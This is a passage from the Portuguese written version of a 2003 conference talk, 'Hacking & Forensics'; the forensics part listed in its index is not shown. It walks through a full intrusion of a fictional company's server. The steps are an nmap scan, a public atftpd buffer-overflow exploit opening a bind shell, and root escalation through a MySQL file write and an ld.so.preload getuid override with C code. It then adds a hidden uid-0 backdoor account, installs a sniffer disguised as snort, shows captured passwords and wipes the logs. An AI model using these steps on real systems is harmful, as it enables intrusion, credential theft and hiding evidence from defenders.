XXI ENECOMP - 2003

04 a 08 de Agosto – Unicamp

Hacking & Forensics

Palestrantes:
Wendel Guglielmetti Henrique - dum_dum@frontthescene.com.br
Júnior Cirqueira - jccirqueira@ig.com.br

Índice

- **Objetivos**
- **Hacking**
  + Obtendo Informações
  + Busca por falhas de segurança
  + Exploração da falha para obter acesso
  + Elevação de privilégios
  + Mantendo acesso
  + Eliminação de vestígios
- **Forensics**
  + Recuperação de logs
  + Análise de logs
  + Análise de ações do atacante
- **Mini Dicionário**
- **Links**
- **Autores**
- **Agradecimentos**

Objetivos

Disponibilizar a versão online da palestra Hacking & Forensics apresentada na XXI ENECOMP - 2003 por Wendel Guglielmetti Henrique e Júnior Cirqueira.

Nosso objetivo principal é fornecer um material de boa qualidade que não seja apenas teórico, visando detalhes de todas técnicas demonstradas, utilizando uma linguagem simples para que possa ser compreendido por todos os interessados.

Todas demonstrações nesse texto utilizão de ataques e análises forenses reais, entretanto para minimizar ataques na internet por parte de script kiddies que venhão a ler esse texto nos resolvemos utilizar uma falha de segurança pública, atual e remota em uma implementação do TFTP, que não é utilizado em larga escala.

Hacking

Imagine uma grande empresa que fábrica roteadores, chamada SkyNet.

O objetivo do Hacker[1] é obter acesso não autorizado em uma das máquinas da SkyNet que estão conectadas a internet e posteriormente dominar toda rede.

Como todo Hacker sabe, o primeiro passo é procurar por uma máquina da SkyNet que seja pouco visada. Os servidores principais da SkyNet como os servidores de Web, Correio, etc, são muito visados e provavelmente tem uma segurança muito maior (patches, auditoria, etc).

Depois de uma cautelosa análise do Hacker[1], o mesmo resolveu começar por um servidor conhecido como updates.SkyNet.com.br, que é responsável por disponibilizar atualizações de firmware de roteadores via Trivial File Transfer Protocol.

Obtendo Informações

O primeiro passo é fazer um port-scan[10] para descobrir quais portas (serviços) estão ativos e em sequência fazer um OS-Fingerprint[12] para detectar qual sistema operacional a máquina está rodando. Utilizaremos o nmap, veja abaixo:

```
ClubeDosMercenários:~# nmap -sS -sU -O updates.SkyNet.com.br

Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ )

Interesting ports on updates.SkyNet.com.br (192.168.151.3):
(The 3011 ports scanned but not shown below are in state: closed)
Port       State       Service
22/tcp     open        ssh
69/udp     open        tftp

Remote operating system guess: Linux Kernel 2.4.0 - 2.4.17 (X86)


Nmap run completed -- 1 IP address (1 host up) scanned in 1483 seconds
```

O primeiro parâmetro passado para o nmap foi o -sS que significa que o port-scan[10] deve utilizar o método Syn Scan (em portas TCP). Toda conexão TCP antes de ser estabelecida faz o three way handshake, que funciona da seguinte maneira:

O cliente envia o primeiro pacote para o servidor com o bit SYN setado, se o servidor aceitar conexões na porta especificada ele retornará ao cliente um pacote com o bit SYN e ACK setados, e o cliente por sua vez envia o último pacote do three way handshake com o bit ACK setado, a partir daqui a conexão está estabelecida. Se a porta estiver fechada, após o cliente enviar o primeiro pacote para o servidor com o bit SYN setado, o servidor responderá com um pacote cujos bits RST e ACK estão setados.

Syn é abreviação de Syncronize.
ACK é abreviação de Acknowledge.
RST é abreviação de RESET.

Com base nos conceitos ensinados acima veremos como o Syn Scan funciona:

O atacante envia um pacote para uma determinada porta (suponhamos a 23/tcp que é utilizada por padrão para telnet) com o bit Syn setado, se o servidor responder para o atacante um pacote cujos bits SYN e ACK estão setados, o atacante assume que a porta (no caso 23/TCP - telnet) está aberta. Caso o servidor responda com um pacote cujos bits RST e ACK estão setados, o atacante assume que a porta está fechada.

A explicação descrita acima é o básico de Syn Scan, podem existir algumas excessões de respostas em casos específicos (como firewall[13]). O Syn Scan é um método de port-scan[10] de fácil detecção.

O segundo parâmetro passado para o nmap foi o -sU que significa que o port-scan[10] deve checar por portas UDP abertas.

O User Datagram Protocol não provê controle de transmissão de pacotes. O port-scan[10] UDP funciona da seguinte forma:

O atacante envia um pacote UDP para uma determinada porta (suponhamos a 69, que é utilizada por padrão para TFTP), se a porta estiver aberta o atacante não recebe nenhuma resposta (afinal o UDP não provê um protocolo de controle). Se a porta UDP estiver fechada o servidor responderá com uma mensagem de Internet Control Message Protocol (ICMP_PORT_UNREACH).

Em uma implementação real de scanners UDP alguns cuidados devem ser tomados para não gerar false-positives, tendo em vista que alguns sistemas operacionais utilizão uma taxa limite (rate limit) de pacotes ICMP por segundo. Outras complicações e anomalias na detecção de portas UDP podem ser presença de firewall[13] ou similares.

O terceiro parâmetro passado para o nmap foi -O, que significa que deve ser feito um OS-Fingerprint[12]. Existem várias maneiras de detectar um Sistema Operacional remotamente, são tantas maneiras de se detectar e dificultar a detecção que poderia ser escrito um outro texto sobre esse assunto. De modo que citarei apenas as principais maneiras.

Uma das formas mais antigas e comuns é detecção por banner de serviços, por exemplo:

Banner do Servidor Web (Apache-versão OS, IIS, etc).
Banner em Telnet Server (Versão do OS)
Banner em FTP (Versão do FTP Server e OS)
Banner em TFTP (versão do TFTP e OS)

Quase todos serviços podem ser utilizados para detectar versões de daemons ou OS (Sistema Operacional), de posse de várias versões de implementações de serviços pode se identificar um Sistema Operacional (Windows, Unix, Mac, etc).

Outra técnica é a análise de stack TCP/IP (pilha TCP/IP), que pode ser feita de muitas maneiras. Básicamente voce checa por diferenças de respostas em diversos Sistemas Operacionais e cria as respectivas fingerprints (assinaturas) baseado nas diferenças.

Uma das análises é checar o valor do campo window em um pacote.
Se o pacote retornado tiver o RST setado e a window com o valor 0 (zero), podemos assumir que é um Sistema Operacional que tem a Stack TCP baseada no BSD 4.4. Se inicializarmos uma conexão TCP com uma porta aberta, e o pacote de retorno tiver o campo win com o valor 0x4470 podemos assumir que essa máquina é um Windows 2k ou ME >= v4.90.3000. Os AIX exclusivamente preenchem o campo win com o valor 0x3F25.

As análises de stack TCP/IP para OS-Fingerprint[12] podem ser baseadas em:

Respostas de pacotes enviados com flags SYN, FIN, ACK, etc.
através de campos como IPID, ISN, Timestamp, etc.
Menssagens de Internet Control Message Protocol.
Técnicas manipulando a porta 0 (zero).
Flags suportadas pelo OS.
Ordem de resposta das flags suportadas pelo OS.
Muitas outras formas.

Agora que já conhecemos o funcionamento básico de port-scan[10] e OS-Fingerprint[12], podemos analisar o retorno do nmap.

O nmap mostrou que temos apenas duas portas abertas, a 22/tcp (ssh) e a 69/udp (TFTP). O Sistema Operacional é Linux com um Kernel da família 2.4 (provavelmente o 2.4.17).

Busca por falhas de segurança

Nos já conhecemos os serviços existentes no servidor e seu Sistema Operacional, agora nos precissamos verificar se existem e falhas.

Veja abaixo os resultados do security-scan[11].

```
ClubeDosMercenários:~# /bin/WendelSecurityScan -all updates.SkyNet.com.br

                    WendelSecurity Scan v1.3
                       !Private VERSION!

Testing updates.SkyNet.com.br.... UP!!
22/TCP found... details:

match: OpenSSH_3.4p1 Debian 1:3.4p1-1 pat OpenSSH*
skynet doesn't support ssh1

checking database...
NOT VULNERABLE :(


69/UDP found... details:

Atftpd v0.6 or 0.6-1

checking database...

Atftpd version 0.6 is VULNERABLE (Buffer Overflow)! ;-)
More info see:
http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0

General Information...

IPID is predicable.
updates.SkyNet.com.br is running Debian GNU/Linux (2.4 Kernel).

finished

ClubeDosMercenários:~#
```

Como já era esperado o resultado do security-scan[11] foi pequeno, afinal so temos dois serviços rodando (e com poucas vulnerabilidades conhecidas).

Exploração da falha para obter acesso

Vamos tentar explorar a falha no Atftpd.

A falha no Atftpd é um buffer overflow[5]. O TFTP é um serviço que permite que baixemos arquivos do servidor TFTP. Se o Atftpd receber uma requisição onde o nome do arquivo passado for maior que 254 bytes o mesmo recebe um signal SIGSEGV, então o processo (atftpd) é terminado e um arquivo core é gerado.

A ação descrita acima é a padrão no Sistema Operacional Linux quando um processo recebe um SIGSEGV. Dentro do arquivo core é onde estão registradas as informações do processo, essas informações podem ser importantes para uma análise do que aconteceu. Dentro do arquivo core encontramos uma descrição detalhada do estado que o programa estava no momento que ele foi terminado.

Os ataques de buffer overflow[5] tirão proveito de programas que não verificam a quantidade de dados (tamanho) copiado para um buffer.

Suponha que temos um programa que lê dados da stdin (entrada padrão, geralmente o teclado) e os armazena sem checagem de tamanho em um buffer que suporta 128 caracteres. Após o nosso buffer ser completamente sobrescrito (geralmente com o shellcode[6]), sobrescrevemos o FP (Frame Pointer) até que possamos sobrescrever o ret-addr (Endereço de retorno) e fazer com que ao invés do nosso programa retorne para o endereço de chamada, ele retorne para o nosso shellcode. No shellcode conterá as novas instruções que deverão ser executadas, essas instruções podem ser simplesmente escrever em um arquivo, executar um comando, etc.

Abaixo podemos ver na prática a exploração do buffer overflow[5] no atftpd, utilizando o exploit escrito pelo gunzip. O exploit utiliza-se do buffer overflow[5] no atftpd e inseri um shellcode que abre uma backdoor[7] na porta 5002 através do inetd (esquema antigo, mas funciona), em seguida o exploit se conecta na backdoor[7].

```
ClubeDosMercenários:~/Enec2003# ./atftpdx -h updates.SkyNet.com.br -v -b

linux/x86 atftpd remote exploit by gunzip

[+] Sending request to host updates.SkyNet.com.br
[+] Using len=264 align=0 retaddr=0x08055334 shellcode=122 bport=5002
[+] Received: 00 05 00 01
sh: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settingssh-2.05a$
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Linux SkyNet 2.4.18-686 #1 Sun Sep 01 11:32:47 EST 2003 i686 unknown
readline: warning: rl_prep_terminal: cannot get terminal settingssh-2.05a$
```

Como podemos ver o exploit funcionou, e nos já estamos na máquina da SkyNet como usuário nobody. Note que a máquina roda Linux com kernel 2.4.18, o que indica que a detecção de OS-Fingerprint[12] foi muito boa.

Elevação de privilégios

O próximo passo é procurarmos por uma falha local que nos permita elevar o privilégio para root. Geralmente nos utilizamos um padrão de checagem, entretanto existem ferramentas que automatizam esse processo. A ordem que costumamos seguir é a seguinte:

* Checar os serviços rodando.
* Checar os scripts de inicialização.
* Checar arquivos suid-root.

Vamos checar quais serviços temos rodando.

```
$ ps auxww

USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2  1272  484 ?        S    Aug19   0:02 init [2]
root         2  0.0  0.0     0    0 ?        SW   Aug19   0:00 [keventd]
root         3  0.0  0.0     0    0 ?        SWN  Aug19   0:01
       [ksoftirqd_CPU0]
root         4  0.0  0.0     0    0 ?        SW   Aug19   0:00 [kswapd]
root         5  0.0  0.0     0    0 ?        SW   Aug19   0:00 [bdflush]
root         6  0.0  0.0     0    0 ?        SW   Aug19   0:00 [kupdated]
root        29  0.0  0.0     0    0 ?        SW   Aug19   0:00 [kjournald]
root       182  0.0  0.4  2056  792 ?        S    Aug19   0:00 /sbin/syslogd
root       185  0.0  0.5  1936 1048 ?        S    Aug19   0:00 /sbin/klogd
root       192  0.0  0.3  2000  724 ?        S    Aug19   0:00
       /usr/sbin/inetd

root       199  0.0  0.5  2180 1084 ?        S    Aug19   0:00 /bin/sh
       /usr/bin/safe_mysqld
mysql      234  0.0  2.4 36488 4484 ?        S    Aug19   0:00
       /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql
       --pid-file=/var/run/mysqld/mysqld.pid --skip-locking
mysql      239  0.0  2.4 36488 4484 ?        S    Aug19   0:00
       /usr/sbin/mysqld
--basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-
       file=/var/run/mysqld/mysqld.pid --skip-locking
mysql      240  0.0  2.4 36488 4484 ?        S    Aug19   0:00
       /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql
```

```
--pid-file=/var/run/mysqld/mysqld.pid --skip-locking
mysql      241  0.0  2.4 36488 4484 ?        S    Aug19   0:00
       /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql
       --pid-file=/var/run/mysqld/mysqld.pid --skip-locking
root       256  0.0  0.6  2788 1212 ?        S    Aug19   0:00 /usr/sbin/sshd
root       259  0.0  0.3  1652  680 ?        S    Aug19   0:00 /usr/sbin/cron

root       262  0.0  0.2  1256  468 tty1     S    Aug19   0:00 /sbin/getty
       38400 tty1
root       263  0.0  0.2  1256  468 tty2     S    Aug19   0:00 /sbin/getty
       38400 tty2
root       264  0.0  0.2  1256  468 tty3     S    Aug19   0:00 /sbin/getty
       38400 tty3
root       265  0.0  0.2  1256  468 tty4     S    Aug19   0:00 /sbin/getty
       38400 tty4
root       266  0.0  0.2  1256  468 tty5     S    Aug19   0:00 /sbin/getty
       38400 tty5
root       267  0.0  0.2  1256  468 tty6     S    Aug19   0:00 /sbin/getty
       38400 tty6
snort     1347  1.0  1.3  4180 2560 ?        S    06:25   7:01
       /usr/sbin/snort -D -S HOME_NET=[192.168.151.0/16] -h 192.168.151.0/16
       -c /etc/snort/snort.conf -l /var/log/snort -b -d -u snort -g snort -i
       eth0
nobody    1494  0.0  0.3  3552  672 ?        S    17:02   0:00 in.tftpd --
       tftpd-timeout 300 --retry-timeout 30 --maxthread 25 --verbose=7
       /tftpboot
nobody    1495  0.0  0.3  3552  672 ?        S    17:02   0:00 in.tftpd --
       tftpd-timeout 300 --retry-timeout 30 --maxthread 25 --verbose=7
       /tftpboot
nobody    1496  0.0  0.0     0    0 ?        Z    17:02   0:00 [sh <defunct>]
nobody    1498  0.0  0.3  1988  700 ?        S    17:02   0:00
       /usr/sbin/inetd /tmp/.x
nobody    1500  0.0  0.6  2188 1188 ?        S    17:02   0:00 sh -i
nobody    1504  0.0  0.7  3296 1412 ?        R    17:07   0:00 ps auxww
readline: warning: rl_prep_terminal: cannot get terminal settingssh-2.05a$
```

Analisando o output do "ps" podemos ver alguns processos interessantes rodando, como o MySql. A instalação padrão do MySql não define senha para o usuário "root" no banco de dados, se o administrador de sistemas não teve cautela de mudar a mesma manualmente, esse pequeno descuido pode ser um começo na escalação de privilégios.

```
$ mysql -u root -p
Enter password:

^C
Connection closed by foreign host.
ClubeDosMercenários:~/Enec2003#
```

Hummm, um problema inesperado aconteceu, a shell ficou preza. Isso acontece devido a utilizarmos uma bind-shell muito arcaica (que não tem rotinas de controle para shell) no exploit[4], podemos notar que logo que exploitamos o serviço recebemos a seguinte mensagem "sh: no job control in this shell".

Não se desespere, existe uma solução efetiva para esse problema. Podemos escrever outro shellcode[6] com uma bind-shell melhorada (que nos dará bastante trabalho). Entretanto nos podemos tirar proveito do serviço ssh (na porta 22-TCP), se formos capazes de mudar a senha do usuário nobody e o mesmo tiver uma shell válida.

```
$ cat /etc/passwd |grep nobody
nobody:x:65534:65534:nobody:/home/nobody:/bin/sh
readline: warning: rl_prep_terminal: cannot get terminal settingssh-2.05a$
```

Por padrão o usuário nobody tem uma shell válida, agora nos precisamos mudar a senha do mesmo. Entretanto devido as restrições da nossa bind-shell nos não somos capazes de escrever a nova senha no passwd (similar ao que aconteceu com o comando "mysql -u root -p"), mas podemos fazer um programa para interagir com o passwd. Uma maneira fácil é utilizar expect(1), vamos ver se o sistema tem a mesma instalada.

```
$ which expect
/usr/bin/expect
readline: warning: rl_prep_terminal: cannot get terminal settingssh-2.05a$
```

Excelente, a expect(1) existe, vamos criar um código para mudar a senha interagindo com o passwd.

```
$ cat Expect-MudaSenha.sh
#!/usr/bin/expect

send "\n\n\t\t Programa para mudar senha."
send "\n\t Visite:\n"
send "\n\t * Clube Dos Mercenários -> http://cdm.frontthescene.com.br"
send "\n\t * Front The Scene       -> http://www.frontthescene.com.br\n\n"

set senha  "cdmpass\n"

spawn /usr/bin/passwd

expect "password"
send "$senha"
expect "password"
send "$senha"

puts "\r\n"

$ ./Muda-Senha


                Programa para mudar senha.
         Visite:

         * Clube Dos Mercenários -> http://cdm.frontthescene.com.br
         * Front The Scene       -> http://www.frontthescene.com.br

spawn /usr/bin/passwd
Enter new UNIX password:
Retype new UNIX password:

readline: warning: rl_prep_terminal: cannot get terminal settingssh-2.05a$
```

Nossa senha foi modificada para "cdmpass", agora podemos nos conectar por ssh como usuário nobody para ter uma shell sem aqueles problemas anteriores.

NOTA: As implementações do passwd podem variar de acordo com o Sistema Operacional, em alguns casos é necessário que se digite a senha atual do usuário antes de modificá-la, nesse caso o esquema acima falharia. Entretanto antes de termos o trabalho de reescrever a bind-shell, nos podemos adicionar nossa chave publica no arquivo de "chaves autorizadas" do usuário nobody. :)

```
ClubeDosMercenários:~# ssh -l nobody skynet
The authenticity of host 'skynet (192.168.151.3)' can't be established.
RSA key fingerprint is dd:71:ab:53:d8:5e:6a:7b:1a:7e:3c:e9:84:00:76:13.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'skynet' (RSA) to the list of known hosts.
nobody@skynet's password:
Linux Skynet 2.4.18-686 #1 Sun Sep 01 15:51:47 EST 2003 i686 unknown

Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/share/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
nobody@Skynet:~$
```

Voltando a tentativa de logar no MySql localmente.

```
nobody@Skynet:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 6 to server version: 3.23.49-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+----------+
| Database |
+----------+
| mysql    |
| test     |
| TFTP_log |
+----------+
3 rows in set (0.02 sec)

mysql>
```

Conseguimos logar com sucesso com usuário e senha padrão. Existem varias maneiras de tentar escalar privilégios pelo MySql. Nossa primeira tentativa utilizará de uma falha no MySql que nos permite escrever em arquivos (assim podendo sobrescrever arquivos de configuração e reinicializar o MySql como root). Para que esse ataque funcione necessitaremos que não exista o arquivo my.cnf no $data_dir e nem mesmo o /etc/ld.so.preload. Maiores informações http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0150

1 - Primeiro verificamos para qual diretório aponta o datadir.

```
nobody@Skynet:~$ mysqladmin variable -u root -p |grep datadir
Enter password:
| datadir                       | /var/lib/mysql/
```

2 - Checamos a ausência dos arquivos $datadir/my.cnf e /etc/ld.so.preload.

```
nobody@Skynet:~$ ls -la /var/lib/mysql/my.cnf
ls: /var/lib/mysql/my.cnf: No such file or directory
nobody@Skynet:~$ ls -la /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory
```

3 - Criamos uma tabela chamada CDM com os parâmetros que dizem ao MySql que ele deve ser inicializado como root e redirecionamos o conteúdo para $datadir/my.cnf.

```
nobody@Skynet:~$ mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 17 to server version: 3.23.49-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use test;
Database changed

mysql> create table CDM(my.cnf blob);
Query OK, 0 rows affected (0.01 sec)

mysql> insert into CDM values ("[mysqld]");
Query OK, 1 row affected (0.01 sec)

mysql> insert into CDM values ("user=root");
Query OK, 1 row affected (0.01 sec)

mysql> insert into CDM values ("datadir=/var/lib/mysql");
Query OK, 1 row affected (0.00 sec)

mysql> select * from CDM into outfile "/var/lib/mysql/my.cnf";
Query OK, 3 rows affected (0.02 sec)
```

4 - Saímos do MySql e paramos o banco de dados.

```
mysql> quit
Bye

nobody@Skynet:~$ mysqladmin shutdown -u root
```

5 - Criamos e compilamos um programa em C chamado /tmp/hacking_now.c que tem uma função chamada getuid() que retorna 0 (zero = root), dessa forma quando algum arquivo suid-root que utilize a getuid() for executado a nossa getuid() sera executada e mudará nosso UID para zero (root).

```
nobody@Skynet:~$ cat /tmp/hacking_now.c
#include <stdio.h>

int getuid(void){


return(0);
}

nobody@Skynet:~$ gcc -fPIC -c /tmp/hacking_now.c
nobody@Skynet:~$ gcc -o /tmp/hacking_now.so -shared /tmp/hacking_now.o
```

6 - Esperamos que a máquina reboot, para que o MySql inicialize como root. Em casos reais, ataques de DOS, DDOS ou DRDOS podem forçar um reboot. :)

```
nobody@Skynet:~$ ps auxww |grep mysql
root       198  0.3  0.5  2180 1084 ?        S    14:00   0:00 /bin/sh
       /usr/bin/safe_mysqld
root       239  0.8  2.3 36404 4396 ?        S    14:00   0:00
       /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root
       --pid-file=/var/run/mysqld/mysqld.pid --skip-locking
root       244  0.0  2.3 36404 4396 ?        S    14:00   0:00
       /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root
       --pid-file=/var/run/mysqld/mysqld.pid --skip-locking
root       245  0.0  2.3 36404 4396 ?        S    14:00   0:00
       /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root
       --pid-file=/var/run/mysqld/mysqld.pid --skip-locking
root       246  0.0  2.3 36404 4396 ?        S    14:00   0:00
       /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root
       --pid-file=/var/run/mysqld/mysqld.pid --skip-locking
nobody     281  0.0  0.2  1332  424 pts/0    S    14:01   0:00 grep mysql
```

7 - Depois do MySql ter sido iniciado como root, utilizamos o mesmo para poder escrever no /etc/ld.so.preload e colocar uma entrada apontando para o nosso arquivo "evil", o /tmp/hacking_now.so.

```
nobody@Skynet:~$ mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 3.23.49-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use test;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> create table temp(hack varchar(25));
Query OK, 0 rows affected (0.00 sec)

mysql> insert into temp values("/tmp/hacking_now.so");
Query OK, 1 row affected (0.01 sec)

mysql> select * from temp into outfile "/etc/ld.so.preload";
Query OK, 1 row affected (0.01 sec)

mysql> quit
Bye
```

8 - Agora basta executar qualquer suid-root que utilize a getuid().

```
nobody@Skynet:~$ su -
SkyNet:~#
```

Mantendo acesso

Agora que temos acesso como root, nos podemos instalar backdoors[7] (como a Little Crow, que pode ser encontrada em http://cdm.frontthescene.com.br) ou rootkits[8], entretanto nos vamos simplesmente criar uma conta chamada cdm, que terá os poderes do root (uid e gid = 0) para acessarmos o sistema posteriormente.

```
SkyNet:~# adduser cdm
Adding user cdm...
Adding new group cdm (1001).
Adding new user cdm (1001) with group cdm.
Creating home directory /home/cdm.
Copying files from /etc/skel
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for cdm
Enter the new value, or press return for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [y/n] y
```

Criamos o usuário "cdm" com a senha "hacking", agora vamos alterar o /etc/passwd para que nosso usuário tenha acesso como root.

Substituímos:

```
cdm:x:1001:1001:,,,:/home/cdm:/bin/bash
```

Por:

```
cdm:x:0:0:,,,:/home/cdm:/bin/bash
```

Agora devemos abrir uma conexão como cdm, para podermos nos certificar que a conta criada está funcionando.

```
login as: cdm
password:
Linux SkyNet 2.4.18-686 #1 Sun Sep 02 11:34:19 EST 2003 i686 unknown

Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/share/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@Skynet:~#
root@Skynet:~# id
uid=0(root) gid=0(root) groups=0(root)
```

```
root@SkyNet:~# who am i
cdm      pts/1        Sep  2 11:40 (192.168.151.2)
root@SkyNet:~#
```

Agora, seria muito interessante instalar um sniffer[14] para descobrirmos alguns usuários e senhas para posteriormente entrarmos em outras máquinas da rede. Utilizaremos um sniffer[14] chamado Solitary, que é disponibilizado pelo CDM, e pode ser encontrado em sua HP (http://cdm.frontthescene.com.br).

1 - Escolhendo (criando) uma pasta pouco visada para instalar o sniffer[14].

```
root@SkyNet:~# cd /lib/modules/2.4.18-686/kernel
root@SkyNet:/lib/modules/2.4.18-686/kernel#mkdir ...
root@SkyNet:/lib/modules/2.4.18-686/kernel# cd ...
root@SkyNet:/lib/modules/2.4.18-686/kernel/...#
```

2 - Fazendo download do sniffer[14].

```
# wget http://cdm.frontthescene.com.br/ferramentas/solitary-v0.7.tar.gz

--15:35:39--  http://cdm.frontthescene.com.br/ferramentas/solitary-
       v0.7.tar.gz
           => `solitary-v0.7.tar.gz'
Resolving cdm.frontthescene.com.br... done.
Connecting to cdm.frontthescene.com.br[200.206.136.84]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 216,978 [application/x-gzip]

100%[====================================>] 216,978       13.43K/s    ETA
       00:00

15:35:55 (13.43 KB/s) - `solitary-v0.7.tar.gz' saved [216978/216978]
```

3 - Extraindo e compilando o sniffer[14].

```
# tar -xvzf solitary-v0.7.tar.gz
solitary-v0.7/
solitary-v0.7/libpcap-0.7.2.tar.gz
solitary-v0.7/INSTALL
solitary-v0.7/Makefile
solitary-v0.7/pcap.h
solitary-v0.7/README
solitary-v0.7/bpf.h
solitary-v0.7/solitary.c
```

```
# cd solitary-v0.7
root@SkyNet:/lib/modules/2.4.18-686/kernel/.../solitary-v0.7#

# make
Solitary Linux Sniffer v0.1b
Uncompress LibPcap...
libpcap-0.7.2/
libpcap-0.7.2/.cvsignore
libpcap-0.7.2/acconfig.h
libpcap-0.7.2/aclocal.m4
libpcap-0.7.2/arcnet.h
libpcap-0.7.2/bpf/
libpcap-0.7.2/bpf/CVS/
libpcap-0.7.2/bpf/CVS/Entries
.... muitas linhas ....
.... muitas linhas ....
gcc -O2 -I.  -DHAVE_CONFIG_H -c scanner.c
gcc -O2 -I.  -DHAVE_CONFIG_H -Dyylval=pcap_lval -c grammar.c
sed -e 's/.*/char pcap_version[] = "&";/' ./VERSION > version.c
gcc -O2 -I.  -DHAVE_CONFIG_H -c version.c
ar rc libpcap.a pcap-linux.o pcap.o inet.o gencode.o optimize.o nametoaddr.o
       etherent.o savefile.o bpf_filter.o bpf_image.o bpf_dump.o scanner.o
       grammar.o version.o
ranlib libpcap.a
make[1]: Leaving directory `/lib/modules/2.4.18-686/kernel/.../solitary-
       v0.7/libpcap-0.7.2'
Compiling Solitary Sniffer...
gcc -Wall -I. -L. solitary.c  -lpcap -o ./Sol
Finished!
```

4 - Executando o sniffer[14].

```
root@SkyNet:/lib/modules/2.4.18-686/kernel/.../solitary-v0.7# mv Sol snort
root@SkyNet:/lib/modules/2.4.18-686/kernel/.../solitary-v0.7# ./snort eth0
root@SkyNet:/lib/modules/2.4.18-686/kernel/.../solitary-v0.7# ps auxww
root      3799  0.3  0.2  1336  396 pts/0    S    15:42   0:00 ./snort eth0
```

Mudamos o nome do sniffer[14] para Snort, para tentar camuflar o mesmo, mesmo sabendo que a eficiência dessa "técnica" é baixa. Existem inúmeros esquemas muito mais eficazes, mas cabe aos interessados pesquisarem, pois o intuito desse texto é apenas introduzir os leitores ao hacking.

5 - Depois de algumas horas, observamos o log do Solitary Sniffer[14].

```
# cat solitary.log

192.168.151.1:3049 -> 192.168.151.1:110 <--->   USER Andrei

192.168.151.1:3049 -> 192.168.151.1:110 <--->   PASS BoaVista

192.168.151.1:3051 -> 192.168.151.1:110 <--->   USER suporte

192.168.151.1:3051 -> 192.168.151.1:110 <--->   PASS quebostaMeuIrmao

192.168.151.1:3053 -> 192.168.151.1:110 <--->   USER Andrei

192.168.151.1:3053 -> 192.168.151.1:110 <--->   PASS BoaVista

192.168.151.1:3055 -> 192.168.151.1:110 <--->   USER suporte

192.168.151.1:3055 -> 192.168.151.1:110 <--->   PASS quebostaMeuIrmao

192.168.151.1:3057 -> 192.168.151.1:110 <--->   USER ZeCarlos

192.168.151.1:3057 -> 192.168.151.1:110 <--->   PASS ZePretu

192.168.151.1:3059 -> 192.168.151.1:110 <--->   USER suporte
192.168.151.1:3059 -> 192.168.151.1:110 <--->   PASS quebostaMeuIrmao

192.168.151.1:1640 -> 192.168.151.1:110 <--->   USER j.fernandes

192.168.151.1:1640 -> 192.168.151.1:110 <--->   PASS escolt3ir0

192.168.151.1:1627 -> 192.168.151.1:110 <--->   USER Cad.Tampinha

192.168.151.1:1627 -> 192.168.151.1:110 <--->   PASS SexoNaVan

192.168.151.1:3065 -> 192.168.151.1:110 <--->   USER Andrei

192.168.151.1:3065 -> 192.168.151.1:110 <--->   PASS BoaVista

192.168.151.1:3067 -> 192.168.151.1:110 <--->   USER suporte

192.168.151.1:3067 -> 192.168.151.1:110 <--->   PASS quebostaMeuIrmao

192.168.151.1:3069 -> 192.168.151.1:110 <--->   USER Andrei

192.168.151.1:3069 -> 192.168.151.1:110 <--->   PASS BoaVista
```

```
192.168.151.1:3071 -> 192.168.151.1:110 <--->   USER suporte
192.168.151.1:3071 -> 192.168.151.1:110 <--->   PASS quebostaMeuIrmao

192.168.151.1:3073 -> 192.168.151.1:110 <--->   USER Andrei

192.168.151.1:3073 -> 192.168.151.1:110 <--->   PASS BoaVista

192.168.151.1:3075 -> 192.168.151.1:110 <--->   USER suporte

192.168.151.1:3075 -> 192.168.151.1:110 <--->   PASS quebostaMeuIrmao

192.168.151.1:1642 -> 192.168.151.1:110 <--->   USER j.fernandes

192.168.151.1:1642 -> 192.168.151.1:110 <--->   PASS escolt3ir0

192.168.151.1:1628 -> 192.168.151.1:110 <--->   USER Cad.Tampinha

192.168.151.1:1628 -> 192.168.151.1:110 <--->   PASS SexoNaVan

192.168.151.1:3077 -> 192.168.151.1:110 <--->   USER Andrei

192.168.151.1:3077 -> 192.168.151.1:110 <--->   PASS BoaVista
```

Eliminação de vestígios

Como o intuito do texto é mostrar de forma simples um ataque, apenas removeremos os logs. Entretanto existem maneiras de eliminar vestígios de forma mais "discreta", por exemplo utilizando os log-cleaners[15].

```
SkyNet:~# rm -rf mysql* messages* snort/ syslog* debug* daemon.log*
auth.log* kern.log*

SkyNet:~# rm -rf /etc/ld.so.preload  /var/lib/mysql/my.cnf

SkyNet:~# rm -rf /tmp/*

SkyNet:~# rm -rf /lib/modules/2.4.18-686/kernel/...
